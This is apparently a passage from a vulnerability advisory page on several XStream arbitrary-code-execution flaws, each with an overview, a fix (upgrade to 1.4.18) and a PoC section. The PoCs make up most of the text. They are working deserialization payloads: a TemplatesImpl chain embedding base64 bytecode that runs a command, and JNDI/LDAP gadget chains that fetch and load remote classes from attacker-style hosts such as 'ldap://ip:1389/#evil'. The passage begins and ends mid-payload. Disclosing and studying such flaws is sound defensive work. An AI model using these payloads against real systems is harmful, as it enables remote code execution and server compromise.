            <com.sun.xml.internal.ws.client.sei.SyncMethodHandler>
              <owner reference='../../../..'/>
              <method reference='../../../../databinding/stubHandlers/entry/method'/>
              <isVoid>false</isVoid>
              <isOneway>false</isOneway>
            </com.sun.xml.internal.ws.client.sei.SyncMethodHandler>
          </entry>
        </methodHandlers>
      </handler>
    </dynamic-proxy>
    <string>ldap://ip:1389/#evil</string>
  </java.util.PriorityQueue>
</java.util.PriorityQueue>

XStream xstream = new XStream();
xstream.fromXML(xml);

Remediation

Upgrade com.thoughtworks.xstream:xstream to version 1.4.18 or higher.

References

• XStream Advisory
• XStream Changelog
• Nuclei Templates
• PoC in GitHub

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Arbitrary Code Execution. This vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream. A user is only affected if using the version out of the box with JDK 1.7u21 or below. However, this scenario can be adjusted easily to an external Xalan that works regardless of the version of the Java runtime. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types. XStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.

PoC

<linked-hash-set>
  <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl serialization='custom'>
    <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
      <default>
        <__name>Pwnr</__name>
        <__bytecodes>
          <byte-array>yv66vgAAADIAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHACoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAsAC0KACsALgEACGNhbGMuZXhlCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA1TdGFja01hcFRhYmxlAQAeeXNvc2VyaWFsL1B3bmVyNDE2NTkyOTE1MTgwNjAwAQAgTHlzb3NlcmlhbC9Qd25lcjQxNjU5MjkxNTE4MDYwMDsAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAvAA4AAAAMAAEAAAAFAA8AOAAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAA0AA4AAAAgAAMAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAaAAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA4AA4AAAAqAAQAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAkAAMAAgAAAA+nAAMBTLgALxIxtgA1V7EAAAABADYAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAk=</byte-array>
          <byte-array>yv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJ</byte-array>
        </__bytecodes>
        <__transletIndex>-1</__transletIndex>
        <__indentNumber>0</__indentNumber>
      </default>
    </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
  </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
  <dynamic-proxy>
    <interface>javax.xml.transform.Templates</interface>
    <handler class='sun.reflect.annotation.AnnotationInvocationHandler' serialization='custom'>
      <sun.reflect.annotation.AnnotationInvocationHandler>
        <default>
          <memberValues>
            <entry>
              <string>f5a5a608</string>
              <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl reference='../../../../../../../com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl'/>
            </entry>
          </memberValues>
          <type>javax.xml.transform.Templates</type>
        </default>
      </sun.reflect.annotation.AnnotationInvocationHandler>
    </handler>
  </dynamic-proxy>
</linked-hash-set>

XStream xstream = new XStream();
xstream.fromXML(xml);

Remediation

Upgrade com.thoughtworks.xstream:xstream to version 1.4.18 or higher.

References

• XStream Advisory
• XStream Changelog

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Arbitrary Code Execution. This vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types. XStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.

PoC

<javax.swing.event.EventListenerList serialization='custom'>
  <javax.swing.event.EventListenerList>
    <default>
      <listenerList>
        <javax.swing.undo.UndoManager>
          <hasBeenDone>true</hasBeenDone>
          <alive>true</alive>
          <inProgress>true</inProgress>
          <edits>
            <com.sun.xml.internal.ws.api.message.Packet>
              <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
                <parsedMessage>true</parsedMessage>
                <soapVersion>SOAP_11</soapVersion>
                <bodyParts/>
                <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
                  <attachmentsInitialized>false</attachmentsInitialized>
                  <multiPart class='com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart'>
                    <soapPart/>
                    <mm>
                      <it class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
                        <aliases class='com.sun.jndi.ldap.LdapBindingEnumeration'>
                          <cleaned>false</cleaned>
                          <entries>
                            <com.sun.jndi.ldap.LdapEntry>
                              <DN>cn=four,cn=three,cn=two,cn=one</DN>
                              <attributes class='javax.naming.directory.BasicAttributes' serialization='custom'>
                                <javax.naming.directory.BasicAttribute>
                                  <default>
                                    <ignoreCase>false</ignoreCase>
                                  </default>
                                  <int>4</int>
                                  <com.sun.jndi.ldap.LdapAttribute serialization='custom'>
                                    <javax.naming.directory.BasicAttribute>
                                      <default>
                                        <ordered>false</ordered>
                                        <attrID>objectClass</attrID>
                                      </default>
                                      <int>1</int>
                                      <string>javanamingreference</string>
                                    </javax.naming.directory.BasicAttribute>
                                    <com.sun.jndi.ldap.LdapAttribute>
                                      <default>
                                        <rdn class='com.sun.jndi.ldap.LdapName' serialization='custom'>
                                          <com.sun.jndi.ldap.LdapName>
                                            <string>cn=four,cn=three,cn=two,cn=one</string>
                                            <boolean>false</boolean>
                                          </com.sun.jndi.ldap.LdapName>
                                        </rdn>
                                      </default>
                                    </com.sun.jndi.ldap.LdapAttribute>
                                  </com.sun.jndi.ldap.LdapAttribute>
                                  <com.sun.jndi.ldap.LdapAttribute serialization='custom'>
                                    <javax.naming.directory.BasicAttribute>
                                      <default>
                                        <ordered>false</ordered>
                                        <attrID>javaCodeBase</attrID>
                                      </default>
                                      <int>1</int>
                                      <string>http://127.0.0.1:8080/</string>
                                    </javax.naming.directory.BasicAttribute>
                                    <com.sun.jndi.ldap.LdapAttribute>
                                      <default/>
                                    </com.sun.jndi.ldap.LdapAttribute>
                                  </com.sun.jndi.ldap.LdapAttribute>
                                  <com.sun.jndi.ldap.LdapAttribute serialization='custom'>
                                    <javax.naming.directory.BasicAttribute>
                                      <default>
                                        <ordered>false</ordered>
                                        <attrID>javaClassName</attrID>
                                      </default>
                                      <int>1</int>
                                      <string>refObj</string>
                                    </javax.naming.directory.BasicAttribute>
                                    <com.sun.jndi.ldap.LdapAttribute>
                                      <default/>
                                    </com.sun.jndi.ldap.LdapAttribute>
                                  </com.sun.jndi.ldap.LdapAttribute>
                                  <com.sun.jndi.ldap.LdapAttribute serialization='custom'>
                                    <javax.naming.directory.BasicAttribute>
                                      <default>
                                        <ordered>false</ordered>
                                        <attrID>javaFactory</attrID>
                                      </default>
                                      <int>1</int>
                                      <string>ExecTemplateJDK7</string>
                                    </javax.naming.directory.BasicAttribute>
                                    <com.sun.jndi.ldap.LdapAttribute>
                                      <default/>
                                    </com.sun.jndi.ldap.LdapAttribute>
                                  </com.sun.jndi.ldap.LdapAttribute>
                                </javax.naming.directory.BasicAttribute>
                              </attributes>
                            </com.sun.jndi.ldap.LdapEntry>
                          </entries>
                          <limit>2</limit>
                          <posn>0</posn>
                          <homeCtx/>
                          <more>true</more>
                          <hasMoreCalled>true</hasMoreCalled>
                        </aliases>
                      </it>
                    </mm>
                  </multiPart>
                </sm>
              </message>
            </com.sun.xml.internal.ws.api.message.Packet>
          </edits>
          <indexOfNextAdd>0</indexOfNextAdd>
          <limit>100</limit>
        </javax.swing.undo.UndoManager>
      </listenerList>
    </default>
    <string>java.lang.InternalError</string>
    <javax.swing.undo.UndoManager reference='../default/listenerList/javax.swing.undo.UndoManager'/>
    <null/>
  </javax.swing.event.EventListenerList>
</javax.swing.event.EventListenerList>

XStream xstream = new XStream();
xstream.fromXML(xml);

Remediation

Upgrade com.thoughtworks.xstream:xstream to version 1.4.18 or higher.

References

• XStream Advisory
• XStream Changelog

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Arbitrary Code Execution. This vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types. XStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.

PoC

<sorted-set>
  <javax.naming.ldap.Rdn_-RdnEntry>
    <type>test</type>
    <value class='javax.swing.MultiUIDefaults' serialization='custom'>
      <unserializable-parents/>
      <hashtable>
          <default>
            <loadFactor>0.75</loadFactor>
            <threshold>525</threshold>
          </default>
          <int>700</int>
          <int>0</int>
      </hashtable>
      <javax.swing.UIDefaults>
          <default>
            <defaultLocale>zh_CN</defaultLocale>
            <resourceCache/>
          </default>
      </javax.swing.UIDefaults>
      <javax.swing.MultiUIDefaults>
          <default>
            <tables>
            <javax.swing.UIDefaults serialization='custom'>
              <unserializable-parents/>
              <hashtable>
                <default>
                  <loadFactor>0.75</loadFactor>
                  <threshold>525</threshold>
                </default>
                <int>700</int>
                <int>1</int>
                <string>lazyValue</string>
                <javax.swing.UIDefaults_-ProxyLazyValue>
                  <className>javax.naming.InitialContext</className>
                  <methodName>doLookup</methodName>
                  <args>
                    <string>ldap://127.0.0.1:1389/#evil</string>
                  </args>
                </javax.swing.UIDefaults_-ProxyLazyValue>
              </hashtable>
              <javax.swing.UIDefaults>
                <default>
                  <defaultLocale reference='../../../../../../../javax.swing.UIDefaults/default/defaultLocale'/>
                  <resourceCache/>
                </default>
              </javax.swing.UIDefaults>
            </javax.swing.UIDefaults>
            </tables>
          </default>
      </javax.swing.MultiUIDefaults>
    </value>
  </javax.naming.ldap.Rdn_-RdnEntry>
  <javax.naming.ldap.Rdn_-RdnEntry>
    <type>test</type>
    <value class='com.sun.org.apache.xpath.internal.objects.XString'>
      <m__obj class='string'>test</m__obj>
    </value>
  </javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>

XStream xstream = new XStream();
xstream.fromXML(xml);

Remediation

Upgrade com.thoughtworks.xstream:xstream to version 1.4.18 or higher.

References

• XStream Advisory
• XStream Changelog
• Nuclei Templates

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Arbitrary Code Execution. This vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types. XStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.

PoC

<sorted-set>
  <javax.naming.ldap.Rdn_-RdnEntry>
    <type>ysomap</type>
    <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
      <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
        <parsedMessage>true</parsedMessage>
        <soapVersion>SOAP_11</soapVersion>
        <bodyParts/>
        <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
          <attachmentsInitialized>false</attachmentsInitialized>
          <multiPart class='com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart'>
            <soapPart/>
            <mm>
              <it class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
                <aliases class='com.sun.jndi.toolkit.dir.ContextEnumerator'>
                  <children class='javax.naming.directory.BasicAttribute$ValuesEnumImpl'>
                    <list class='com.sun.xml.internal.dtdparser.SimpleHashtable'>
                      <current>
                        <hash>1</hash>
                        <key class='javax.naming.Binding'>
                          <name>ysomap</name>
                          <isRel>false</isRel>
                            <boundObj class='com.sun.jndi.ldap.LdapReferralContext'>
                              <refCtx class='javax.naming.spi.ContinuationDirContext'>
                                <cpe>
                                  <stackTrace/>
                                  <suppressedExceptions class='java.util.Collections$UnmodifiableRandomAccessList' resolves-to='java.util.Collections$UnmodifiableList'>
                                    <c class='list'/>
                                    <list reference='../c'/>
                                  </suppressedExceptions>
                                  <resolvedObj class='javax.naming.Reference'>
                                    <className>EvilObj</className>
                                    <addrs/>
                                    <classFactory>EvilObj</classFactory>
                                    <classFactoryLocation>http://127.0.0.1:1099/</classFactoryLocation>
                                  </resolvedObj>
                                  <altName class='javax.naming.CompoundName' serialization='custom'>
                                    <javax.naming.CompoundName>
                                      <properties/>
                                      <int>1</int>
                                      <string>ysomap</string>
                                    </javax.naming.CompoundName>
                                  </altName>
                                </cpe>
                              </refCtx>
                              <skipThisReferral>false</skipThisReferral>
                              <hopCount>0</hopCount>
                            </boundObj>
                        </key>
                      </current>
                      <currentBucket>0</currentBucket>
                      <count>0</count>
                      <threshold>0</threshold>
                    </list>
                  </children>
                  <currentReturned>true</currentReturned>
                  <currentChildExpanded>false</currentChildExpanded>
                  <rootProcessed>true</rootProcessed>
                  <scope>2</scope>
                </aliases>
              </it>
            </mm>
          </multiPart>
        </sm>
      </message>
    </value>
  </javax.naming.ldap.Rdn_-RdnEntry>
  <javax.naming.ldap.Rdn_-RdnEntry>
    <type>ysomap</type>
    <value class='com.sun.org.apache.xpath.internal.objects.XString'>
      <m__obj class='string'>test</m__obj>
    </value>
  </javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>

XStream xstream = new XStream();
xstream.fromXML(xml);

Remediation

Upgrade com.thoughtworks.xstream:xstream to version 1.4.18 or higher.

References

• XStream Advisory
• XStream Changelog

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Arbitrary Code Execution. This vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types. XStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.

PoC

<sorted-set>
  <javax.naming.ldap.Rdn_-RdnEntry>
    <type>ysomap</type>
    <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
      <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
        <parsedMessage>true</parsedMessage>
        <soapVersion>SOAP_11</soapVersion>
        <bodyParts/>
        <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
          <attachmentsInitialized>false</attachmentsInitialized>
          <multiPart class='com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart'>
            <soapPart/>
            <mm>
              <it class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
                <aliases class='com.sun.jndi.ldap.LdapSearchEnumeration'>
                  <listArg class='javax.naming.CompoundName' serialization='custom'>
                    <javax.naming.CompoundName>
                      <properties/>
                      <int>1</int>
                      <string>ysomap</string>
                    </javax.naming.CompoundName>
                  </listArg>
                  <cleaned>false</cleaned>
                  <res>
                    <msgId>0</msgId>
                    <status>0</status>
                  </res>
                  <enumClnt>
                    <isLdapv3>false</isLdapv3>
                    <referenceCount>0</referenceCount>
                    <pooled>false</pooled>
                    <authenticateCalled>false</authenticateCalled>
                  </enumClnt>
                  <limit>1</limit>
                  <posn>0</posn>
                  <homeCtx>
                    <__contextType>0</__contextType>
                    <port__number>1099</port__number>
                    <hostname>127.0.0.1</hostname>
                    <clnt reference='../../enumClnt'/>
                    <handleReferrals>0</handleReferrals>
                    <hasLdapsScheme>true</hasLdapsScheme>
                    <netscapeSchemaBug>false</netscapeSchemaBug>
                    <referralHopLimit>0</referralHopLimit>
                    <batchSize>0</batchSize>
                    <deleteRDN>false</deleteRDN>
                    <typesOnly>false</typesOnly>
                    <derefAliases>0</derefAliases>
                    <addrEncodingSeparator/>
                    <connectTimeout>0</connectTimeout>
                    <readTimeout>0</readTimeout>
                    <waitForReply>false</waitForReply>
                    <replyQueueSize>0</replyQueueSize>
                    <useSsl>false</useSsl>
                    <useDefaultPortNumber>false</useDefaultPortNumber>
                    <parentIsLdapCtx>false</parentIsLdapCtx>
                    <hopCount>0</hopCount>
                    <unsolicited>false</unsolicited>
                    <sharable>false</sharable>
                    <enumCount>1</enumCount>
                    <closeRequested>false</closeRequested>
                  </homeCtx>
                  <more>true</more>
                  <hasMoreCalled>true</hasMoreCalled>
                  <startName class='javax.naming.ldap.LdapName' serialization='custom'>
                    <javax.naming.ldap.LdapName>
                      <default/>
                      <string>uid=ysomap,ou=oa,dc=example,dc=com</string>
                    </javax.naming.ldap.LdapName>
                  </startName>
                  <searchArgs>
                    <name class='javax.naming.CompoundName' reference='../../listArg'/>
                    <filter>ysomap</filter>
                    <cons>
                      <searchScope>1</searchScope>
                      <timeLimit>0</timeLimit>
                      <derefLink>false</derefLink>
                      <returnObj>true</returnObj>
                      <countLimit>0</countLimit>
                    </cons>
                    <reqAttrs/>
                  </searchArgs>
                  <entries>
                    <com.sun.jndi.ldap.LdapEntry>
                      <DN>uid=songtao.xu,ou=oa,dc=example,dc=com</DN>
                      <attributes class='javax.naming.directory.BasicAttributes' serialization='custom'>
                        <default>
                          <ignoreCase>false</ignoreCase>
                        </default>
                        <int>4</int>
                        <com.sun.jndi.ldap.LdapAttribute serialization='custom'>
                          <javax.naming.directory.BasicAttribute>
                            <default>
                              <ordered>false</ordered>
                              <attrID>objectClass</attrID>
                            </default>
                            <int>1</int>
                            <string>javaNamingReference</string>
                          </javax.naming.directory.BasicAttribute>
                          <com.sun.jndi.ldap.LdapAttribute>
                            <default>
                              <rdn class=''javax.naming.CompositeName'' serialization=''custom''>
                                <javax.naming.CompositeName>
                                  <int>0</int>
                                </javax.naming.CompositeName>
                              </rdn>
                            </default>
                          </com.sun.jndi.ldap.LdapAttribute>
                        </com.sun.jndi.ldap.LdapAttribute>
                        <com.sun.jndi.ldap.LdapAttribute serialization='custom'>
                          <javax.naming.directory.BasicAttribute>
                            <default>
                              <ordered>false</ordered>
                              <attrID>javaCodeBase</attrID>
                            </default>
                            <int>1</int>
                            <string>http://127.0.0.1/</string>
                          </javax.naming.directory.BasicAttribute>
                          <com.sun.jndi.ldap.LdapAttribute>
                            <default>
                              <rdn class=''javax.naming.CompositeName'' serialization=''custom''>
                                <javax.naming.CompositeName>
                                  <int>0</int>
                                </javax.naming.CompositeName>
                              </rdn>
                            </default>
                          </com.sun.jndi.ldap.LdapAttribute>
                        </com.sun.jndi.ldap.LdapAttribute>
                        <com.sun.jndi.ldap.LdapAttribute serialization='custom'>
                          <javax.naming.directory.BasicAttribute>
                            <default>
                              <ordered>false</ordered>
                              <attrID>javaClassName</attrID>
                            </default>
                            <int>1</int>
                            <string>foo</string>
                          </javax.naming.directory.BasicAttribute>
                          <com.sun.jndi.ldap.LdapAttribute>
                            <default>
                              <rdn class=''javax.naming.CompositeName'' serialization=''custom''>
                                <javax.naming.CompositeName>
                                  <int>0</int>
                                </javax.naming.CompositeName>
                              </rdn>
                            </default>
                          </com.sun.jndi.ldap.LdapAttribute>
                        </com.sun.jndi.ldap.LdapAttribute>
                        <com.sun.jndi.ldap.LdapAttribute serialization='custom'>
                          <javax.naming.directory.BasicAttribute>
                            <default>
                              <ordered>false</ordered>
                              <attrID>javaFactory</attrID>
                            </default>
                            <int>1</int>
                            <string>EvilObj</string>
                          </javax.naming.directory.BasicAttribute>
                          <com.sun.jndi.ldap.LdapAttribute>
                            <default>
                              <rdn class=''javax.naming.CompositeName'' serialization=''custom''>
                                <javax.naming.CompositeName>
                                  <int>0</int>
                                </javax.naming.CompositeName>
                              </rdn>
                            </default>
                          </com.sun.jndi.ldap.LdapAttribute>
                        </com.sun.jndi.ldap.LdapAttribute>
                      </attributes>
                    </com.sun.jndi.ldap.LdapEntry>
                  </entries>
                </aliases>
              </it>
            </mm>
          </multiPart>
        </sm>
      </message>
    </value>
  </javax.naming.ldap.Rdn_-RdnEntry>
  <javax.naming.ldap.Rdn_-RdnEntry>
    <type>ysomap</type>
    <value class='com.sun.org.apache.xpath.internal.objects.XString'>
      <m__obj class='string'>test</m__obj>
    </value>
  </javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>

XStream xstream = new XStream();
xstream.fromXML(xml);

Remediation

Upgrade com.thoughtworks.xstream:xstream to version 1.4.18 or higher.

References

• XStream Advisory
• XStream Changelog

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Arbitrary Code Execution. This vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types. XStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.

PoC

<sorted-set>
  <javax.naming.ldap.Rdn_-RdnEntry>
    <type>ysomap</type>
    <value class='javax.swing.MultiUIDefaults' serialization='custom'>
      <unserializable-parents/>
      <hashtable>
        <default>
          <loadFactor>0.75</loadFactor>
          <threshold>525</threshold>
        </default>
        <int>700</int>
        <int>0</int>
      </hashtable>
      <javax.swing.UIDefaults>
        <default>
          <defaultLocale>zh_CN</defaultLocale>
          <resourceCache/>
        </default>
      </javax.swing.UIDefaults>
      <javax.swing.MultiUIDefaults>
        <default>
          <tables>
            <javax.swing.UIDefaults serialization='custom'>
              <unserializable-parents/>
              <hashtable>
                <default>
                  <loadFactor>0.75</loadFactor>
                  <threshold>525</threshold>
                </default>
                <int>700</int>
                <int>1</int>
                <string>ggg</string>
                <javax.swing.UIDefaults_-ProxyLazyValue>
                  <className>javax.naming.InitialContext</className>
                  <methodName>doLookup</methodName>
                  <args>
                    <arg>ldap://localhost:1099/CallRemoteMethod</arg>
                  </args>
                </javax.swing.UIDefaults_-ProxyLazyValue>
              </hashtable>
              <javax.swing.UIDefaults>
                <default>
                  <defaultLocale reference='../../../../../../../javax.swing.UIDefaults/default/defaultLocale'/>
                  <resourceCache/>
                </default>
              </javax.swing.UIDefaults>
            </javax.swing.UIDefaults>
          </tables>
        </default>
      </javax.swing.MultiUIDefaults>
    </value>
  </javax.naming.ldap.Rdn_-RdnEntry>
  <javax.naming.ldap.Rdn_-RdnEntry>
    <type>ysomap</type>
    <value class='com.sun.org.apache.xpath.internal.objects.XString'>
      <m__obj class='string'>test</m__obj>
    </value>
  </javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>

XStream xstream = new XStream();
xstream.fromXML(xml);

Remediation

Upgrade com.thoughtworks.xstream:xstream to version 1.4.18 or higher.

References

• XStream Advisory
• XStream Changelog

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Arbitrary Code Execution. This vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types. XStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.

PoC

<linked-hash-set>
  <dynamic-proxy>
    <interface>map</interface>
    <handler class='com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl'>
      <classToInvocationHandler class='linked-hash-map'/>
      <defaultHandler class='sun.tracing.NullProvider'>
        <active>true</active>
        <providerType>java.lang.Object</providerType>
        <probes>
          <entry>
            <method>
              <class>java.lang.Object</class>
              <name>hashCode</name>
              <parameter-types/>
            </method>
            <sun.tracing.dtrace.DTraceProbe>
              <proxy class='com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' serialization='custom'/>
                <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
                  <default>
                    <__name>Pwnr</__name>
                    <__bytecodes>
